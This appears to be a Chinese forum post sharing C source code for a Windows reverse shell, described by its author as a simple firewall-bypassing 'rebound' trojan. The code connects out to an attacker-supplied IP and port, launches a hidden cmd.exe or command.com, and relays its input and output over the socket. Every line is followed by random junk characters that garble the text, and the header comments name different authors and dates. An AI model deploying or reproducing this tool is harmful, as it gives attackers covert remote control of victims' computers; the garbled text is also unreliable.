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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 dioGAai'  
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/* ============================== 5*u+q2\F  
Rebound port in Windows NT xr^LFn)  
By wind,2006/7 5wU]!bxr  
===============================*/ 8P\Zo8}v  
#include W ]8 QM1$  
#include j8:\%|  
J\=*#*rJ1  
#pragma comment(lib,"wsock32.lib") kvu)y`  
((%? `y  
void OutputShell(); S)"Jf?  
SOCKET sClient; )MT}+ai  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {(Es(Sb}c  
k)TpnH! "  
void main(int argc,char **argv) XfIJ4ZM5  
{ Ar#(psU  
WSADATA stWsaData; b4Ekqas  
int nRet;  6(R<{{  
SOCKADDR_IN stSaiClient,stSaiServer; N?`' /e  
!U Ln7\@  
if(argc != 3) :e+jU5;]3  
{ *wjrR1#81x  
printf("Useage:\n\rRebound DestIP DestPort\n"); :NTO03F7v  
return; p!AAFmc  
} J C}D` h  
sU^1wB Rj  
WSAStartup(MAKEWORD(2,2),&stWsaData); Pr C{'XDlU  
a(ZcmYzXU  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y$M%2mh`  
=:U`k0rn!  
stSaiClient.sin_family = AF_INET; +:/%3}`  
stSaiClient.sin_port = htons(0); < I``&>  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); as =fCuJ  
DzRFMYBR  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {?7Uj  
{ w_VP J  
printf("Bind Socket Failed!\n"); NDokSw-  
return; 9%obq/Lb  
} YtLt*Ig%  
86a\+Kz%%L  
stSaiServer.sin_family = AF_INET; Q\0'lQJdy  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E' uZA  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;}p  
kD"{g#c  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hOK8(U0  
{ n~Lt\K:  
printf("Connect Error!"); )D%~` ,#pQ  
return; _DEjF)S  
} z`b,h\  
OutputShell(); 7F.4Ga;  
} .*Qx\,  
YuwI&)l  
void OutputShell() |;{6& S  
{ 7 _[L o4_  
char szBuff[1024]; cso8xq|b7  
SECURITY_ATTRIBUTES stSecurityAttributes; 9+!hg'9Qn  
OSVERSIONINFO stOsversionInfo; O^rDHFj,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; b| (: [nB  
STARTUPINFO stStartupInfo; |JsZJ9W+J  
char *szShell; Y}KNKO;  
PROCESS_INFORMATION stProcessInformation; `kSZX:=};  
unsigned long lBytesRead; &uVnZ@o42  
RT8 ?7xFc  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5#z1bu  
ZYNsHcTY  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M D#jj3y  
stSecurityAttributes.lpSecurityDescriptor = 0; AQ^u   
stSecurityAttributes.bInheritHandle = TRUE; 0b 54fD=  
#T"4RrR  
:Llb< MY2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3PF_H$`oJ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); V|R,!UND  
\z)%$#I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B`sAk %  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %@Jsal'  
stStartupInfo.wShowWindow = SW_HIDE; MnHNjsO#  
stStartupInfo.hStdInput = hReadPipe; N6TH}~62}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /g.U&oI]D  
#lO Mm9  
GetVersionEx(&stOsversionInfo); f%8C!W]Dm  
"ocyK}l.?  
switch(stOsversionInfo.dwPlatformId) zKK9r~ M  
{ "9807OME  
case 1: D)}v@je"yP  
szShell = "command.com"; IAyp2  
break; >@Kx>cg+  
default: 5 IpDeJ$  
szShell = "cmd.exe"; Zb#u0Tq  
break; 3__-nV  
} /zox$p$?h  
EiaW1Cs  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {2gwk8  
,/U6[P_C5  
send(sClient,szMsg,77,0); dD@(z: 5M\  
while(1) J9 I:Q<;  
{ *=xr-!MEk  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);  _','9|  
if(lBytesRead) 4 H&#q>  
{ DW3G  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); og>uj>H&  
send(sClient,szBuff,lBytesRead,0); f,Ghb~y  
} !TcJ)0   
else bN=P*hdf  
{ [PbOfxxgA  
lBytesRead=recv(sClient,szBuff,1024,0); &6k3*dq  
if(lBytesRead<=0) break; 7PF%76TO  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VS|2|n1<6  
} DIUjn;>k8  
} o,wUc"CE  
;9'OOz|+1  
return; oD@7 SF  
}
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